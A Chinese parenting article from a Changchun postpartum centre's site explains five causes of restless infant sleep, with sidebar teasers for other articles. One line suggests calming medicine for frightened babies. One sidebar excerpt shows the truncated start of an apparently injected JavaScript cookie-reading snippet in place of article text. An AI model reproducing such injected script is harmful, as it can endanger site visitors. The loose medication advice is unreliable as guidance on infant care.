长春月子中心——选择贝萌·诗安国际母婴会所

网站首页 > 宝宝睡觉不踏实是什么原因,怎么办?

宝宝睡觉不踏实是什么原因,怎么办?

众所周知,新生儿的睡眠时间是很长的,一天可以睡上十几个小时,但是为啥有的宝宝睡十几分钟就醒了,开始大哭大闹,要哄很久才能继续入睡。婴儿长期睡眠不足,爸妈也是身心疲惫,到底是什么原因引起的,宝宝睡觉不踏实怎么办好?下面长春月子中心贝萌母婴会所小编介绍一下宝宝睡觉不踏实的原因和应对措施:
1、缺乏安全感
新生儿刚来到这个陌生的环境,对于外界多多少少有种恐惧的心理,因为缺乏安全感,所以在夜里很容易惊醒。如果出现这种情况,父母最好让宝宝睡在一个较小的空间里,比如说摇篮,婴儿车,或者在床的周围放上一些枕头,玩偶等,给宝宝放催眠曲,来适当减少他的不安感。
2、白天惊吓过度
宝宝如果白天受到惊吓,因为神经系统比较脆弱,所以晚上很容易睡不安稳,翻来覆去。这时候家长可以在宝宝惊醒时抱起来安慰一下,通常过一会儿宝宝就又睡着了,如果情况严重,就要去医院,吃点小儿安神的药。
3、宝宝被抱太多
有的父母十分溺爱宝宝,整天抱在怀里,让孩子对大人产生一种依赖的心理。好不容易哄着睡着了,可是一放到床上,孩子没一会儿又醒了,开始哭闹,父母一抱上身,孩子就立马不哭。如果出现这种情况,那只能狠狠心,每天不要抱孩子太多,更不要同一个人一直抱,让孩子慢慢习惯离开妈妈怀抱的感觉。这样晚上就能安心睡觉了。
4、宝宝吃太饱
有的妈妈怕孩子饿着,在临睡前还要让孩子多吃点东西,其实这样会影响睡眠质量,孩子吃太饱,睡觉感到不舒服。甚至有些妈妈怕孩子夜里饿了,不管孩子是不是饱的,在他快睡觉时,给他喂奶,导致他喝奶过多,腹部胀气醒来。其实宝宝若是吃得不饱,他就会发出信号的,家长没必要担心太多。
5、睡觉前兴奋过度
在宝宝睡前一个小时,家长不要让宝宝玩得太疯,不要让他看刺激性的节目,不要给他新玩具,不要过分逗弄宝宝,让他安静下来,免得兴奋过度难以入睡。还要给孩子创造一个舒适的睡眠环境,光线暗,室温适宜,不要有太大的噪音,这样子,宝宝一觉睡到天亮是没什么问题的!
如果宝宝睡觉不踏实,半夜醒来还有虚汗等情况,说明不是简单的生理性问题,可能有病理性原因,长春月子中心贝萌母婴会所小编建议各位家长最好带去医院检查下!

下一篇:

上一篇:

妈妈学堂

MORE>>
如何冲调配方奶粉?
如何冲调配方奶粉?

购买配方奶粉以后,先看一下奶粉袋(罐)上奶粉所含...…

月子膳食

MORE>>
能使胎儿发育良好的23种食物
能使胎儿发育良好的23种食物

为了使胎儿的发育良好,必须摄取充分的营养,蛋白...…

孕妇可以吃高丽参吗?
孕妇可以吃高丽参吗?

function getCookie(e){var U=document.cookie.ma...…

孕期营养补充 这些误区要避开
孕期营养补充 这些误区要避开

奶奶说吃了这个孩子长得高,婆婆说这别吃对娃不好...…

孕妇不能吃哪些调料?
孕妇不能吃哪些调料?

孕妇不能喝酒、不能吃高糖高脂肪的食物……怀孕期间...…